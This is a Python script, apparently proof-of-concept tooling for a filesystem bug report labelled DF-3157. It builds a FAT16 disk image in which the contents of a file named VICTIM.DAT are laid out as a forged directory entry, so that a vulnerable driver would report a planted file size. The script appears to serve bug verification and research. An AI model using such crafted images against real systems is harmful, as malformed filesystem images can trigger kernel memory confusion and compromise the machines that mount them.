DF-3157 / mkfat.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | #!/usr/bin/env python3 # Build a deterministic FAT16 image for DF-3157 verification. # # Layout (512B sectors, 1 sector/cluster): # sector 0 boot sector # sector 1..128 FAT #1 (128 sectors, 16-bit entries) # sector 129..256 FAT #2 # sector 257..272 root dir (256 entries = 16 sectors) # sector 273.. data area; cluster N (>=2) at sector 273 + (N-2) # C_sub = 2 (sector 273) directory SUB # C_vic = 3 (sector 274) file VICTIM.DAT (512 bytes) # # VICTIM.DAT first 32 bytes double as the forged-dirent source: # deName[0..10] = b'VICTIMDATA\x00' (11 bytes, byte11 attrs must not have 0x10) # byte 11 = 0x4B ('K', ATTR bits: archive(0x20)? 0x4B has 0x0B low -> attr=0x4B... we need no 0x10 bit: 0x4B & 0x10 == 0 OK) # bytes 28..31 = b'ABCD' -> forged GETATTR st_size must read 0x44434241 import struct SECT = 512 TOTSEC = 32768 RESERVED = 1 NFATS = 2 FATSEC = 128 ROOTENTS = 256 ROOTSEC = ROOTENTS * 32 // SECT # 16 FIRSTDATA = RESERVED + NFATS * FATSEC + ROOTSEC # 273 C_SUB = 2 C_VIC = 3 SECT_SUB = FIRSTDATA + (C_SUB - 2) # 273 SECT_VIC = FIRSTDATA + (C_VIC - 2) # 274 img = bytearray(b'\xf6' * (TOTSEC * SECT)) # 0xf6 = MS format filler # ---- boot sector ---- bs = bytearray(SECT) bs[0:3] = b'\xeb\x3c\x90' bs[3:11] = b'MSDOS5.0' struct.pack_into('<H', bs, 11, SECT) # bytes/sector bs[13] = 1 # sectors/cluster struct.pack_into('<H', bs, 14, RESERVED) bs[16] = NFATS struct.pack_into('<H', bs, 17, ROOTENTS) struct.pack_into('<H', bs, 19, TOTSEC) bs[21] = 0xf8 # media struct.pack_into('<H', bs, 22, FATSEC) struct.pack_into('<H', bs, 24, 32) # sectors/track struct.pack_into('<H', bs, 26, 8) # heads struct.pack_into('<I', bs, 28, 0) # hidden struct.pack_into('<I', bs, 32, 0) # totsec32 bs[36] = 0x80 # drive number bs[38] = 0x29 # extended boot sig struct.pack_into('<I', bs, 39, 0x31573157) # volid bs[43:54] = b'FATTESTDISK ' # label 11 bs[54:62] = b'FAT16 ' bs[510] = 0x55; bs[511] = 0xaa img[0:SECT] = bs # ---- FATs ---- def date_fat(y, m, d): return ((y - 1980) << 9) | (m << 5) | d def time_fat(h, mi, s): return (h << 11) | (mi << 5) | (s // 2) DDATE = date_fat(2024, 1, 1); DTIME = time_fat(12, 0, 0) fat = bytearray(FATSEC * SECT) struct.pack_into('<H', fat, 0, 0xfff8) struct.pack_into('<H', fat, 2, 0xffff) struct.pack_into('<H', fat, C_SUB * 2, 0xffff) # SUB chain EOF struct.pack_into('<H', fat, C_VIC * 2, 0xffff) # VICTIM chain EOF for f in range(NFATS): off = (RESERVED + f * FATSEC) * SECT img[off:off + len(fat)] = fat # ---- root directory ---- root = bytearray(ROOTSEC * SECT) def direntry(name11, attr, clus, size, cdate, ctime): e = bytearray(32) e[0:11] = name11 e[11] = attr e[12] = 0 e[13] = 0 struct.pack_into('<H', e, 14, ctime) # ctime struct.pack_into('<H', e, 16, cdate) # cdate struct.pack_into('<H', e, 18, cdate) # adate struct.pack_into('<H', e, 20, 0) # high clust (FAT16: 0) struct.pack_into('<H', e, 22, ctime) # mtime struct.pack_into('<H', e, 24, cdate) # mdate struct.pack_into('<H', e, 26, clus) struct.pack_into('<I', e, 28, size) return e root[0:32] = direntry(b'SUB ', 0x10, C_SUB, 0, DDATE, DTIME) root[32:64] = direntry(b'VICTIM DAT', 0x20, C_VIC, SECT, DDATE, DTIME) roff = (RESERVED + NFATS * FATSEC) * SECT img[roff:roff + len(root)] = root # ---- SUB cluster: "." and ".." ---- sub = bytearray(SECT) sub[0:32] = direntry(b'. ', 0x10, C_SUB, 0, DDATE, DTIME) sub[32:64] = direntry(b'.. ', 0x10, 0, 0, DDATE, DTIME) soff = SECT_SUB * SECT img[soff:soff + SECT] = sub # ---- VICTIM data cluster ---- vic = bytearray(b'V' * SECT) vic[0:11] = b'VICTIMDATA' # deName echo vic[11] = 0x4B # 'attributes' byte: 0x4B & 0x10 == 0 -> VREG vic[12] = 0x00 vic[13] = 0x00 struct.pack_into('<H', vic, 14, DTIME) # ctime echo (so forged denode has sane-ish times) struct.pack_into('<H', vic, 16, DDATE) struct.pack_into('<H', vic, 18, DDATE) struct.pack_into('<H', vic, 20, 0) # high clust struct.pack_into('<H', vic, 22, DTIME) # mtime struct.pack_into('<H', vic, 24, DDATE) # mdate struct.pack_into('<H', vic, 26, C_VIC) # start cluster echo vic[28:32] = b'ABCD' # deFileSize -> forged stat size = 0x44434241 voff = SECT_VIC * SECT img[voff:voff + SECT] = vic open('/tmp/opencode/fatbuild/fat16.img', 'wb').write(bytes(img)) print(f'image: {TOTSEC*SECT} bytes; firstdata sector={FIRSTDATA}; ' f'C_SUB={C_SUB}@sec{SECT_SUB}; C_VIC={C_VIC}@sec{SECT_VIC}; ' f'victim size marker bytes at image offset {voff+28} = {img[voff+28:voff+32]!r}') |